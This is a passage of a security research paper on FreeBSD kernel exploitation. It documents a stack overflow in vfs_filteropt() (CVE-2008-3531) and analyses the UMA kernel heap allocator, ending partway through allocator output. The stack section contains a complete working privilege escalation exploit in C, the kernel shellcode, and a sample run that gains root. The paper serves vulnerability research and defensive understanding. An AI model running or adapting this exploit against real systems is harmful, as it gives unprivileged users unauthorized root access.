
Binding the Daemon: FreeBSD Kernel Stack and Heap Exploitation

Patroklos (argp) Argyroudis <argp@census-labs.com>
Census, Inc.

Abstract

FreeBSD is widely accepted as one of the most reliable and performance-driven operating systems 
currently available in both the open source and proprietary worlds. While the exploitation of kernel 
vulnerabilities has been researched in the context of the Windows and Linux operating systems, 
FreeBSD, and BSD-based systems in general, have not received the same attention. This paper will  
initially examine the exploitation of kernel stack overflow vulnerabilities on FreeBSD. The development 
process of a privilege escalation kernel stack smashing exploit will be documented for vulnerability 
CVE-2008-3531.  The  second  part  of  the  paper  will  present  a  detailed  security  analysis  of  the 
Universal Memory Allocator (UMA), the FreeBSD kernel's memory allocator. We will examine how 
UMA overflows can lead to arbitrary code execution in the context of the latest stable FreeBSD 
kernel (8.0-RELEASE), and we will develop an exploitation methodology for privilege escalation and 
kernel continuation.

Introduction

Operating system kernels are the fundamental modules that all services and applications of a system 
rely upon. Therefore, they are part of the attack surface that must be audited and ultimately secured 
in vulnerability assessment methodologies. Security auditing and exploitation is a significantly more 
complicated  process  for  debugging  and  reliable  exploit  development  in  the  context  of  operating 
system kernels than it is in the traditional application domain. On the other hand, userland memory 
corruption protections (also known as exploit mitigation techniques) have made most of the generic 
application exploitation approaches obsolete. The above illustrate the need for ongoing research in 
the field on operating system kernel exploitation. In this paper we will present an in-depth examination 
of the exploit development process of kernel stack vulnerabilities on FreeBSD. Furthermore, we will  
conduct a security analysis of FreeBSD's kernel memory allocator, the Universal Memory Allocator 
(UMA), and we will  demonstrate how to exploit  bugs in it  to perform privilege escalation and to 
ensure  the  stability  of  the system after  successful  exploitation.  It  needs to be noted that  UMA 
development was funded by Nokia and its use in proprietary systems, although currently unknown, is 
highly likely.
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Related Work

One of the first public works on FreeBSD kernel exploitation was Esa Etelavuori's detailed explanation 
on a kernel stack overflow vulnerability in the jail(2) system call on FreeBSD versions 4.0 to 4.1.1 
[1]. The vulnerability manifested when a jail was set up with an overly long hostname and a program's 
status was read through procfs. After ten years the presented exploitation methodology and the 
developed kernel shellcode are no longer applicable to recent FreeBSD releases. Sinan Eren in 2002 
focused on the exploitation of kernel stack overflows on the OpenBSD operating system versions 2.x 
to 3.x on the IA-32 platform [2]. The main contribution of this work was the “sidt” kernel continuation 
technique. Silvio Cesare in 2003 found a huge number of kernel bugs and presented details on Linux, 
FreeBSD, NetBSD and OpenBSD kernel stack smashing methodologies [3]. He has contributed the 
“iret” return to userland technique for kernel continuation after exploitation. In 2005 Eugene Teo and 
clflush have documented that Linux kernel slab allocator overflows can lead to the corruption of 
adjacent slab items and ultimately to privilege escalation [4]. The exploitation of kernel heap overflow 
vulnerabilities has also been investigated by twiz and sgrakkyu in the context of the Linux and Solaris 
kernels  [5].   Specifically,  they have  identified that  heap overflows may lead to corruptions of  a) 
adjacent items on a heap, b) page frames that are adjacent to the last item of a heap block, or c)  
kernel heap control structures. The example they give in [5] uses approach a) to exploit Linux kernel  
slab overflows.  On FreeBSD we will use approach c). The “Kernel Wars” talk in Black Hat Europe  
2007  presented  kernel  exploitation  topics  for  the  Windows,  FreeBSD,  NetBSD  and  OpenBSD 
operating  systems  [6].  The  presenters  focused  on  stack  and  mbuf  overflows  and  contributed 
significantly to the areas of multi-state kernel shellcode, privilege escalation and kernel continuation 
techniques. Przemysław Frasunek explored kernel race conditions on FreeBSD [7] and discovered 
three  distinct  vulnerabilities  that  led  to  NULL  pointer  dereferences.  His  work  serves   as  great 
testimony to the value of manual code audits. Christer Öberg and Neil Kettle in 2009 analyzed many 
kernel bug classes in FreeBSD, NetBSD, Mac OS X and Solaris [8], while presenting modern kernel 
source code auditing tips. Finally,  an initial  exploration of the FreeBSD kernel's memory allocator 
security was presented in [9].

Kernel Exploitation Goals

The goals of the kernel exploitation process can be summarized in the following three categories a) 
arbitrary code execution, b) denial-of-service / kernel panic and c) kernel memory disclosure. Each of  
these goals can be achieved by exploiting certain bug classes. Arbitrary code execution in which the 
kernel's normal flow of execution is diverted to user-defined code, being of course the primary goal of 
every security researcher, can be achieved by NULL pointer dereferences, stack overflow and heap 
overflow bugs in the kernel's implementation. An example of a NULL pointer dereference vulnerability 
in the FreeBSD kernel  is CVE-2008-5736 in which  function pointers for netgraph and bluetooth 
sockets were not properly initialized (public exploit at [10]). Similarly, an example of a FreeBSD kernel 
stack overflow vulnerability is CVE-2008-3531 (public exploit at [11]). On the other hand, currently 
there are no known / public  exploits  for FreeBSD kernel  heap overflow vulnerabilities.  Denial-of-
service attacks / kernel panics are usually the result of the previous three bug classes that are not  
able to lead to redirection of the kernel's code execution flow. The last category, kernel memory 
disclosure, although a very serious vulnerability by itself, it can usually also be leveraged to indirectly  
compromise a system by allowing unprivileged users to gain access to cryptographic keys and other 
crucial data.
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FreeBSD Kernel Stack Exploitation

In the FreeBSD kernel, as well as in most other modern operating systems, every thread (where 
thread is defined as a unit of execution of a process) has its own kernel stack. When a normal  
userland process makes use of kernel services, as for example the invocation of a system call, the 
ESP register points to the corresponding thread's kernel stack. Since a running operating system 
may have hundreds, if not thousands, of threads, kernel stacks have a fixed size of two pages (on the 
IA-32 platform) and they do not grow dynamically. This design choice is made in order to minimize the 
amount of  wasted memory.  The  main  purpose of  kernel  stacks is  to always  remain resident  in 
memory in order to service the page faults that occur when the corresponding thread tries to run.  
Kernel stack overflows can manifest in two ways a) a bug in kernel code that allows the overflow of a  
local variable and the subsequent smashing of a kernel stack, and b) overflow and corruption of the 
kernel stack itself via successive recursive calls of a kernel function. In this paper we will focus on a) 
(although it has to be noted that b)  has not been explored)  which can lead to corruptions of  a  
function's  saved  return  address,  a  function's  saved  frame  pointer  and/or  a  local  variable,  for 
example a function pointer.

Case Study: Vulnerability CVE-2008-3531

As a case study we will document the development process of a privilege escalation kernel stack 
smashing exploit for vulnerability CVE-2008-3531 [12]. CVE-2008-3531 is a kernel stack overflow 
vulnerability that affects FreeBSD versions 7.0-RELEASE and 7.0-STABLE, but not 7.1-RELEASE nor 
7.1-STABLE as  the  CVE entry  seems to  suggest.  The  bug  is  in  function  vfs_filteropt()  from file 
src/sys/kern/vfs_mount.c:

1800:    int
1801:    vfs_filteropt(struct vfsoptlist *opts, const char **legal)
1802:    {
1803:        struct vfsopt *opt;
1804:        char errmsg[255];
1805:        const char **t, *p, *q;
1806:        int ret = 0;
1807:
1808:        TAILQ_FOREACH(opt, opts, link) {
1809:                p = opt->name;
1810:                q = NULL;
1811:                if (p[0] == 'n' && p[1] == 'o')
1812:                        q = p + 2;
1813:                for(t = global_opts; *t != NULL; t++) {
1814:                        if (strcmp(*t, p) == 0)
1815:                                break;
1816:                        if (q != NULL) {
1817:                                if (strcmp(*t, q) == 0)
1818:                                        break;
1819:                        }
1820:                }
1821:                if (*t != NULL)
1822:                        continue;
1823:                for(t = legal; *t != NULL; t++) {
1824:                        if (strcmp(*t, p) == 0)
1825:                                break;
1826:                        if (q != NULL) {
1827:                                if (strcmp(*t, q) == 0)
1828:                                        break;
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1829:                        }
1830:                }
1831:                if (*t != NULL)
1832:                        continue;
1833:                sprintf(errmsg, "mount option <%s> is unknown", p);
1834:                printf("%s\n", errmsg);
1835:                ret = EINVAL;
1836:        }
1837:        if (ret != 0) {
1838:                TAILQ_FOREACH(opt, opts, link) {
1839:                        if (strcmp(opt->name, "errmsg") == 0) {
1840:                              strncpy((char *)opt->value, errmsg, opt->len);
1841:                        }
1842:                }
1843:        }
1844:        return (ret);
1845:    }

The first step of the exploit development process involves identifying the vulnerability's conditions and 
assessing its impact.

In line 1833 above, sprintf() is used to write an error message to a locally declared static buffer, 
namely errmsg declared in line 1804 with a size of 255 bytes.  The variable p used in sprintf() is a 
pointer to the mount option's name. Conceptually a mount option is a tuple of the form (name, value). 
The vulnerable sprintf() call can be reached from userland when p's (i.e. the mount option's name) 
corresponding  value  is  invalid,  but  not  NULL  (due  to  the  checks  performed  in  the  first 
TAILQ_FOREACH loop). For example, the tuple ("AAAA", "BBBB") satisfies this condition; the mount 
option's value is the string "BBBB" which is invalid and not NULL therefore p would point to the string 
"AAAA". Both the mount option's name (p) and the mount option's value are user-controlled. This 
allows the overflow of the errmsg buffer by supplying a mount option name of arbitrary length and as 
we will see below, less importantly in this case, arbitrary content. Since errmsg is on a kernel stack, 
we can use the overflow to corrupt the current stack frame's saved return address with the ultimate 
goal of diverting the kernel's execution flow to code of our own choosing.

Tr i g g e r i n g  t h e  Vu l n e r a b i l i t y

Now that we have explored the conditions and concluded that we can indeed achieve arbitrary code 
execution we have to explore the ways we can trigger the vulnerability. There are many possible 
execution paths to reach vfs_filteropt() from userland. After browsing FreeBSD's file system stacking 
source code for a couple of minutes I decided to use the following:

nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt()

By default on FreeBSD the nmount(2) system call can only be called by root. In order for it to be 
enabled for unprivileged users the sysctl(8) variable vfs.usermount must be set to a non-zero value.

At this point we know that the vulnerability can potentially lead to arbitrary code execution and how to 
trigger it. The next step is to find a place to store our arbitrary code and divert the kernel's execution  
flow to that memory address. Due to the structure of the format string used in the sprintf() call, we 
do not have direct control of the value that overwrites the saved return address in vfs_filteropt()'s 
kernel stack frame.
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However, indirect control is more than enough to achieve arbitrary code execution. When p points to 
a string of 248 'A's followed by NULL (i.e. 248 * 'A' + '\0') the saved return address is overwritten 
with the value 0x6e776f, that is the "nwo" of "unknown" in the sprintf()'s format string. Using the 
exploitation methodology of kernel NULL pointer dereference vulnerabilities, we can use mmap(2) to 
map memory at the page boundary 0x6e7000. Then we can place our arbitrary kernel shellcode 
0x76f  bytes  after  that.  Therefore,  when  the  corrupted  saved  return  address  with  the  value 
0x6e776f is restored into the EIP register the kernel will execute our instructions that have been 
mapped to this address.

K e r n e l  S h e l l c o d e

The next step in the exploit development process is to write these instructions. Specifically, our kernel 
shellcode should:

• locate the credentials of the user that triggers the vulnerability and escalate his privileges,
• ensure kernel continuation. In other words, the system must be kept in a running condition and 
stable after exploitation.

User credentials specifying the process owner's privileges in FreeBSD are stored in a structure of 
type ucred defined at src/sys/ucred.h:

45:  struct ucred {
46:      u_int   cr_ref;                 /* reference count */
47:  #define cr_startcopy cr_uid
48:      uid_t   cr_uid;                 /* effective user id */
49:      uid_t   cr_ruid;                /* real user id */
50:      uid_t   cr_svuid;               /* saved user id */
51:      short   cr_ngroups;             /* number of groups */
52:      gid_t   cr_groups[NGROUPS];     /* groups */
53:      gid_t   cr_rgid;                /* real group id */
54:      gid_t   cr_svgid;               /* saved group id */
           ...

A pointer to the ucred structure exists in a structure of type proc defined at src/sys/proc.h:

484:  struct proc {
485:   LIST_ENTRY(proc) p_list;            /* (d) List of all processes. */
486:   TAILQ_HEAD(, thread) p_threads;     /* (j) all threads. */
487:   TAILQ_HEAD(, kse_upcall) p_upcalls; /* (j) All upcalls in the proc. */
488:   struct mtx      p_slock;            /* process spin lock */
489:   struct ucred    *p_ucred;           /* (c) Process owner's identity. */
           ...

The address of the proc structure can be dynamically located at runtime from unprivileged processes 
in a number of ways:

• The sysctl(3) kern.proc.pid kernel interface and the kinfo_proc structure.
• The allproc symbol that the FreeBSD kernel exports by default.
• The curthread pointer from the pcpu structure (segment FS in kernel context points to it).

In the developed exploit I  will  use the third alternative since it is the most compact, reliable and 
straightforward one.
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K e r n e l  C o n t i n u a t i o n

The other  task  that  our  shellcode should  perform is  to  maintain  the  stability  of  the  system by 
ensuring the kernel's continuation. One way to approach this would be to port Silvio Cesare's "iret" 
return to userland approach (presented at his "Open source kernel auditing and exploitation" Black 
Hat talk [3]) to FreeBSD. Although a full investigation of Silvio's "iret" technique on FreeBSD would be  
very interesting, it is beyond the scope of this paper and furthermore it is usually unreliable since it 
leaves kernel synchronization objects locked.

In order to successfully return to userland from the kernel shellcode we will use another approach. 
Remember  that  the  execution  path  we  decided  to  take  is  nmount()  ->  vfs_donmount()  -> 
msdosfs_mount()  -> vfs_filteropt().  After the shellcode has performed privilege escalation it  could 
return to where vfs_filteropt() was supposed to return, that is in msdosfs_mount(). However that is 
not possible since msdosfs_mount()'s saved registers have been corrupted when vfs_filteropt()'s stack 
frame was  smashed by  the  overflow.  The  values  of  these  saved  registers  cannot  be  restored, 
consequently  there  is  no  safe  way  to  return  to  msdosfs_mount()  after  privilege  escalation.  The 
solution I have implemented in the exploit bypasses msdosfs_mount() completely and returns to the 
pre-previous  from  vfs_filteropt()  function,  namely  vfs_donmount().  The  saved  registers'  values  of 
vfs_donmount()  are  uncorrupted  in  msdosfs_mount()'s  stack  frame.  To  make  this  more  clear, 
consider the following pseudocode that is based on the relevant deadlisting part:

/* this function's saved registers' values are uncorrupted */
vfs_donmount()
{
    ...
    msdosfs_mount();
    ...
}

msdosfs_mount()
{
    ...
    vfs_filteropt();
    ...
    /* stack cleanup, restore saved registers */
    addl    $0xe8, %esp
    popl    %ebx
    popl    %esi
    popl    %edi
    popl    %ebp
    ret
}
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C o m p l e t e  K e r n e l  S h e l l c o d e

Taking into consideration the above analysis, the complete kernel shellcode for the developed exploit 
is the following (in AT&T assembler syntax):

.global _start
_start:

movl    %fs:0, %eax         # get curthread
movl    0x4(%eax), %eax     # get proc from curthread
movl    0x30(%eax), %eax    # get ucred from proc
xorl    %ecx, %ecx          # ecx = 0
movl    %ecx, 0x4(%eax)     # ucred.uid = 0
movl    %ecx, 0x8(%eax)     # ucred.ruid = 0

# return to the pre-previous function, i.e. vfs_donmount()
addl    $0xe8, %esp
popl    %ebx
popl    %esi
popl    %edi
popl    %ebp
ret

T h e  C o m p l e t e  E x p l o i t

Now we have a way to safely return from kernel to userland and ensure the continuation of the 
exploited system. The complete exploit is the following:

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define BUFSIZE     249

#define PAGESIZE    4096
#define ADDR        0x6e7000
#define OFFSET      1903

#define FSNAME      "msdosfs"
#define DIRPATH     "/tmp/msdosfs"

unsigned char kernelcode[] =
    "\x64\xa1\x00\x00\x00\x00\x8b\x40\x04\x8b\x40\x30"
    "\x31\xc9\x89\x48\x04\x89\x48\x08\x81\xc4\xe8\x00"
    "\x00\x00\x5b\x5e\x5f\x5d\xc3";

int
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main()
{
    void *vptr;
    struct iovec iov[6];

    vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE,
            MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);

    if(vptr == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    vptr += OFFSET;
    printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr);

    memcpy(vptr, kernelcode, (sizeof(kernelcode) - 1));

    mkdir(DIRPATH, 0700);

    iov[0].iov_base = "fstype";
    iov[0].iov_len = strlen(iov[0].iov_base) + 1;
    
    iov[1].iov_base = FSNAME;
    iov[1].iov_len = strlen(iov[1].iov_base) + 1;
    
    iov[2].iov_base = "fspath";
    iov[2].iov_len = strlen(iov[2].iov_base) + 1;
    
    iov[3].iov_base = DIRPATH;
    iov[3].iov_len = strlen(iov[3].iov_base) + 1;

    iov[4].iov_base = calloc(BUFSIZE, sizeof(char));

    if(iov[4].iov_base == NULL)
    {
        perror("calloc");
        rmdir(DIRPATH);
        exit(EXIT_FAILURE);
    }

    memset(iov[4].iov_base, 0x41, (BUFSIZE - 1));
    iov[4].iov_len = BUFSIZE;

    iov[5].iov_base = "BBBB";
    iov[5].iov_len = strlen(iov[5].iov_base) + 1;

    printf("[*] calling nmount()\n");

    if(nmount(iov, 6, 0) < 0)
    {
        perror("nmount");
        rmdir(DIRPATH);
        exit(EXIT_FAILURE);
    }

    printf("[*] unmounting and deleting %s\n", DIRPATH);
    unmount(DIRPATH, 0);
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    rmdir(DIRPATH);

    return EXIT_SUCCESS;
}

Finally, a sample run of the exploit on a vulnerable FreeBSD system:

[argp@leon ~]$ uname -rsi
FreeBSD 7.0-RELEASE GENERIC
[argp@leon ~]$ sysctl vfs.usermount
vfs.usermount: 1
[argp@leon ~]$ id
uid=1001(argp) gid=1001(argp) groups=1001(argp)
[argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531
[argp@leon ~]$ ./cve-2008-3531
[*] vptr = 0x006e776f
[*] calling nmount()
nmount: Unknown error: -1036235776
[argp@leon ~]$ id
uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)
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FreeBSD Kernel Heap Exploitation

The latest stable version (8.0-RELEASE) of FreeBSD has introduced stack-smashing detection and 
protection for the kernel by utilizing the incorporation of ProPolice/SSP in GCC [13].  This creates an 
increased interest in exploring the FreeBSD kernel heap implementation, or zone allocator to be 
more  precise,  from  a  security  perspective  since  it  currently  provides  no  exploitation  mitigation 
mechanisms.

U n i v e r s a l  M e m o r y  A l l o c a t o r  ( U M A ) :  D e s i g n  a n d  I m p l e m e n t a t i o n

UMA or the universal memory allocator, also referred to as a zone allocator in the documentation, is 
FreeBSD's kernel memory allocator that functions like a traditional slab allocator [14].  The main idea 
behind slab allocators is that they provide an efficient memory management front-end, usually divided 
into multiple layers, to the low-level page allocations by retaining the state of constant-sized items 
between uses. It is called a slab allocator since it initially allocates large areas, or slabs, of memory 
and then pre-allocates on them items of a particular type and size per slab.  When the kernel  
requests through the malloc(9)  interface items of  a certain type,  a pre-allocated item that  was 
marked as free from the corresponding slab is returned.   UMA is also used for arbitrary-sized 
malloc(9) requests in which case the requested size is adjusted for alignment to find the suitable 
slab.  The advantages of this approach are no fragmentation of the kernel's memory and increased 
performance since the items are pre-allocated and grouped to slabs according to their size.

On FreeBSD we can use the vmstat(8) utility to get a report on the different types of UMA zones that 
the kernel has created for its data structures, and their characteristics like name, size of the type of  
item allocated on them, number of items currently in use, and number of free items per zone, among 
others:

[argp@julius ~]$ vmstat -z
ITEM                SIZE     LIMIT      USED      FREE  REQUESTS  FAILURES

UMA Kegs:           128,        0,       94,       26,       94,        0
UMA Zones:          480,        0,       94,        2,       94,        0
UMA Slabs:           64,        0,      353,        1,      712,        0
UMA RCntSlabs:      104,        0,       69,        5,       69,        0
UMA Hash:           128,        0,        6,       24,        7,        0
16 Bucket:           76,        0,       31,       19,       50,        0
32 Bucket:          140,        0,       20,        8,       41,        0
64 Bucket:          268,        0,       27,        1,       76,       11
128 Bucket:         524,        0,       18,        3,      975,       30
VM OBJECT:          124,        0,      830,       69,    12161,        0
MAP:                140,        0,        7,       21,        7,        0
KMAP ENTRY:          68,    15512,       24,      200,     1750,        0
MAP ENTRY:           68,        0,      555,      117,    24862,        0
DP fakepg:           72,        0,        0,        0,        0,        0
mt_zone:           1032,        0,      255,      129,      255,        0
16:                  16,        0,     2250,      389,    15191,        0
32:                  32,        0,     1163,       80,    10077,        0
64:                  64,        0,     3244,       60,     5149,        0
128:                128,        0,     1493,      187,     5820,        0
256:                256,        0,      308,        7,     3591,        0
512:                512,        0,       43,       13,      827,        0
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1024:              1024,        0,       47,       81,     1405,        0
2048:              2048,        0,      314,        6,      491,        0
4096:              4096,        0,      101,       12,     4900,        0
Files:               76,        0,       51,       99,     3803,        0
TURNSTILE:           76,        0,       78,       66,       78,        0
umtx pi:             52,        0,        0,        0,        0,        0
PROC:               696,        0,       62,       18,      839,        0
THREAD:             556,        0,       76,        1,       76,        0
UPCALL:              44,        0,        0,        0,        0,        0
SLEEPQUEUE:          32,        0,       78,      148,       78,        0
VMSPACE:            232,        0,       20,       31,      797,        0
cpuset:              40,        0,        2,      182,        2,        0
audit_record:       856,        0,        0,        0,        0,        0
mbuf_packet:        256,        0,        0,      128,       26,        0
mbuf:               256,        0,        1,      141,      778,        0
mbuf_cluster:      2048,     8768,      128,        6,      141,        0

...

Mountpoints:        716,        0,        5,        5,        5,        0
FFS inode:          128,        0,      429,       21,      451,        0
FFS1 dinode:        128,        0,        0,        0,        0,        0
FFS2 dinode:        256,        0,      429,       21,      451,        0
SWAPMETA:           276,    30548,        0,        0,        0,        0

FreeBSD's UMA implementation uses a number of  different  structures to manage kernel  virtual 
memory. All of these structures can be found in src/sys/vm/uma_int.h.  The fundamental one is the 
zone which is defined as a struct of type uma_zone (all code excerpts in this section are from the 
latest stable FreeBSD version 8.0-RELEASE):

struct uma_zone {
        char            *uz_name;       /* Text name of the zone */
        struct mtx      *uz_lock;       /* Lock for the zone (keg's lock) */

        LIST_ENTRY(uma_zone)    uz_link;        /* List of all zones in keg */
        LIST_HEAD(,uma_bucket)  uz_full_bucket; /* full buckets */
        LIST_HEAD(,uma_bucket)  uz_free_bucket; /* Buckets for frees */

        LIST_HEAD(,uma_klink)   uz_kegs;        /* List of kegs. */
        struct uma_klink        uz_klink;       /* klink for first keg. */

        uma_slaballoc   uz_slab;        /* Allocate a slab from the backend. */
        uma_ctor        uz_ctor;        /* Constructor for each allocation */
        uma_dtor        uz_dtor;        /* Destructor */
        uma_init        uz_init;        /* Initializer for each item */
        uma_fini        uz_fini;        /* Discards memory */

        u_int64_t       uz_allocs;      /* Total number of allocations */
        u_int64_t       uz_frees;       /* Total number of frees */
        u_int64_t       uz_fails;       /* Total number of alloc failures */
        u_int32_t       uz_flags;       /* Flags inherited from kegs */
        u_int32_t       uz_size;        /* Size inherited from kegs */
        uint16_t        uz_fills;       /* Outstanding bucket fills */
        uint16_t        uz_count;       /* Highest value ub_ptr can have */
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        /*
         * This HAS to be the last item because we adjust the zone size
         * based on NCPU and then allocate the space for the zones.
         */
        struct uma_cache        uz_cpu[1];      /* Per cpu caches */
};

Each  uma_zone  structure  is  created  to  allocate  a  specific  type  of  kernel  memory  and  is  itself 
allocated on a zone called 'UMA Zones'.  As we can see, uma_zone contains function pointers for  
allowing the kernel programmer to define custom constructors and destructors for each allocated 
item.  This is an important detail to keep in mind when we are looking for a way to divert the flow of 
execution after an overflow. The structure uma_zone also holds statistical data for the zone, like the 
total numbers of allocations, frees and failures.  Most importantly, a zone structure also contains two 
lists of uma_bucket structures, or buckets, which cache items that have been allocated / deallocated 
from the zone's slabs. These buckets are defined as follows:

struct uma_bucket {
        LIST_ENTRY(uma_bucket)  ub_link;        /* Link into the zone */
        int16_t ub_cnt;                         /* Count of free items. */
        int16_t ub_entries;                     /* Max items. */
        void    *ub_bucket[];                   /* actual allocation storage */
};

In a uma_zone struct the uz_free_bucket list holds buckets to be  used for deallocations of items, 
while the uz_full_bucket list for allocations.

To enhance performance on multiprocessor systems each zone also has an array of per-CPU caches 
that are logically on top of the zone's buckets. These are defined structures of type uma_cache:

struct uma_cache {
        uma_bucket_t    uc_freebucket;  /* Bucket we're freeing to */
        uma_bucket_t    uc_allocbucket; /* Bucket to allocate from */
        u_int64_t       uc_allocs;      /* Count of allocations */
        u_int64_t       uc_frees;       /* Count of frees */
};

A keg is  another UMA structure used for  back-end allocation that  describes  the  format  of  the 
underlying page(s) on which the items of the corresponding zone are stored.  Kegs are of type struct  
uma_keg:

struct uma_keg {
        LIST_ENTRY(uma_keg)     uk_link;        /* List of all kegs */

        struct mtx      uk_lock;        /* Lock for the keg */
        struct uma_hash uk_hash;

        char            *uk_name;               /* Name of creating zone. */
        LIST_HEAD(,uma_zone)    uk_zones;       /* Keg's zones */
        LIST_HEAD(,uma_slab)    uk_part_slab;   /* partially allocated slabs */
        LIST_HEAD(,uma_slab)    uk_free_slab;   /* empty slab list */
        LIST_HEAD(,uma_slab)    uk_full_slab;   /* full slabs */

        u_int32_t       uk_recurse;     /* Allocation recursion count */
        u_int32_t       uk_align;       /* Alignment mask */
        u_int32_t       uk_pages;       /* Total page count */
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        u_int32_t       uk_free;        /* Count of items free in slabs */
        u_int32_t       uk_size;        /* Requested size of each item */
        u_int32_t       uk_rsize;       /* Real size of each item */
        u_int32_t       uk_maxpages;    /* Maximum number of pages to alloc */

        uma_init        uk_init;        /* Keg's init routine */
        uma_fini        uk_fini;        /* Keg's fini routine */
        uma_alloc       uk_allocf;      /* Allocation function */
        uma_free        uk_freef;       /* Free routine */

        struct vm_object        *uk_obj;        /* Zone specific object */
        vm_offset_t     uk_kva;         /* Base kva for zones with objs */
        uma_zone_t      uk_slabzone;    /* Slab zone backing us, if OFFPAGE */
        u_int16_t       uk_pgoff;       /* Offset to uma_slab struct */
        u_int16_t       uk_ppera;       /* pages per allocation from backend */
        u_int16_t       uk_ipers;       /* Items per slab */
        u_int32_t       uk_flags;       /* Internal flags */
};

While it is possible for a zone to be associated with more than one keg for receiving allocations from 
multiple source pages, it is not a very common occurrence (except in some network optimization 
cases for example) and therefore we will  focus on the case of having an one-to-one association 
between kegs and zones.  When a zone is created by the kernel, the corresponding keg is created 
as well. In the uma_zone structure the uma_klink (variable uz_klink) structure contains a pointer to 
the associated keg:

struct uma_klink {
        LIST_ENTRY(uma_klink)   kl_link;
        uma_keg_t               kl_keg;
};

A zone's keg holds three lists of slabs:

• uk_full_slab is the list which holds full slabs; that is slabs on which all items are marked as being 
used or allocated,
• uk_free_slab holds slabs on which all items are marked as not being used or free,
• the uk_part_slab list holds slabs which contain both allocated and free items.

Each slab is of size UMA_SLAB_SIZE which is equal to PAGE_SIZE, which by default is set to 4096 
bytes.  Slabs are described by uma_slab structures:

struct uma_slab {
        struct uma_slab_head    us_head;        /* slab header data */
        struct {
                u_int8_t        us_item;
        } us_freelist[1];                       /* actual number bigger */
};

The  slab  header  structure,  uma_slab_head,  contains  the  metadata  that  are  necessary  for  the 
management of the slab/page:

struct uma_slab_head {
        uma_keg_t       us_keg;                 /* Keg we live in */
        union {
                LIST_ENTRY(uma_slab)    _us_link;       /* slabs in zone */
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                unsigned long   _us_size;       /* Size of allocation */
        } us_type;
        SLIST_ENTRY(uma_slab)   us_hlink;       /* Link for hash table */
        u_int8_t        *us_data;               /* First item */
        u_int8_t        us_flags;               /* Page flags see uma.h */
        u_int8_t        us_freecount;   /* How many are free? */
        u_int8_t        us_firstfree;   /* First free item index */
};

So, to put it all together, each zone holds buckets of items that are allocated from the zone's slabs. 
Each zone is also associated with a keg which holds the zone's slabs.  Each slab is of the same size  
as a page frame (usually 4096 bytes) and has a slab header structure which contains management 
metadata. Figure 1 ties together all the UMA data structures we have analyzed so far.
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U M A  S l a b s

Depending on the size of the items a slab has been divided into for, the uma_slab structure may or 
may not be embedded in the slab itself. For example, let's consider the anonymous zones ('4096', 
'2048', '1024', ..., '16') which serve malloc(9) requests of arbitrary sizes by adjusting for alignment 
purposes the requested size to the nearest zone. The '512' zone is able to store eight items of 512 
bytes in every slab associated with it. The uma_slab structure in this case is stored offpage on a 
UMA zone that has been allocated for this purpose. The uma_keg structure associated with the 
'512' zone actually contains a uma_zone pointer to this slab zone (uk_slabzone) and an unsigned 16-
bit integer that specifies the offset to the corresponding uma_slab structure (uk_pgoff).

On the other hand, the slabs of the '256' anonymous zone store fifteen items (of size 256 bytes 
each) and in this case the uma_slab stuctures as well are stored onto the slabs themselves after the 
memory reserved for items. These two slab representations are illustrated in Figure 2.

U M A  B e h a v i o u r  a n d  M e t a d a t a  C o r r u p t i o n

The next step in our security assessment of UMA is to understand its behaviour under normal use. 
Using FreeBSD's vmstat(8) command and a way to consume items of the slabs of the '256' zone we 
can make useful observations. An example way of allocating and consuming UMA kernel items is a 
custom dynamic kernel linker (KLD) module implemented specifically for the purpose of allowing us to 
understand UMA. The KLD module we provide in the accompanying code archive is based on the 
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signedness.org  challenge  #3 by  Karl  Janmar  [15].  Initially  we  check  how many  free  items are 
available on the '256' zone:

[argp@julius ~/code/bug]$ vmstat -z | grep 256:
256:                      256,        0,      310,       35,     9823,        0

From the output we can see that there are 310 items in use and 35 marked as free. Next we 
consume 20 items and using vmstat(8) again we check the number of free items: 

[argp@julius ~/code/bug]$ ./exhaust 20
[*] bug: 0: item at 0xc25db300
[*] bug: 1: item at 0xc25db700
[*] bug: 2: item at 0xc25da100
[*] bug: 3: item at 0xc2580700
[*] bug: 4: item at 0xc2580500
[*] bug: 5: item at 0xc25daa00
[*] bug: 6: item at 0xc2580200
[*] bug: 7: item at 0xc2434100
[*] bug: 8: item at 0xc25db000
[*] bug: 9: item at 0xc25dba00
[*] bug: 10: item at 0xc2580900
[*] bug: 11: item at 0xc25dab00
[*] bug: 12: item at 0xc25db200
[*] bug: 13: item at 0xc25db400
[*] bug: 14: item at 0xc25db500
[*] bug: 15: item at 0xc257fe00
[*] bug: 16: item at 0xc2434000
[*] bug: 17: item at 0xc25db100
[*] bug: 18: item at 0xc2580e00
[*] bug: 19: item at 0xc25dad00
[argp@julius ~/code/bug]$ vmstat -z | grep 256:
256:                      256,        0,      330,       15,     9873,        0

As we can see from the output of vmstat(8) above, the number of items marked as free have been 
reduced from 35 to 15 (since we have consumed 20). Another important observation we can make 
is that UMA prefers slabs from the partially allocated list (uk_part_slab) in order to satisfy requests 
for  items,  thus  reducing  fragmentation.  This  leads  to  unpredictable  addresses/locations  of  the 
returned items. However, we need to be able to make estimated guesses predicting the locations of 
the items we request via malloc(9). If we consume/allocate all free items on the '256' zone, UMA 
will  subsequently  create  a  (variable)  number  of  new slabs.  Proceeding  to  consuming/allocating 
another fifteen items since fifteen is the maximum number of items that a slab of the '256' zone can 
hold we observe the following:

[argp@julius ~/code/bug]$ ./getzfree 
---[ free items on the 256 zone: 41
---[ consuming 41 items from the 256 zone
[*] bug: 0: item at 0xc25e4900
[*] bug: 1: item at 0xc2592300
[*] bug: 2: item at 0xc25e4300
[*] bug: 3: item at 0xc25e4a00
[*] bug: 4: item at 0xc25e3600
[*] bug: 5: item at 0xc25e4400
[*] bug: 6: item at 0xc25e4000
[*] bug: 7: item at 0xc25e4b00
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[*] bug: 8: item at 0xc25e4c00
[*] bug: 9: item at 0xc25e3500
[*] bug: 10: item at 0xc25e4e00
[*] bug: 11: item at 0xc25e4100
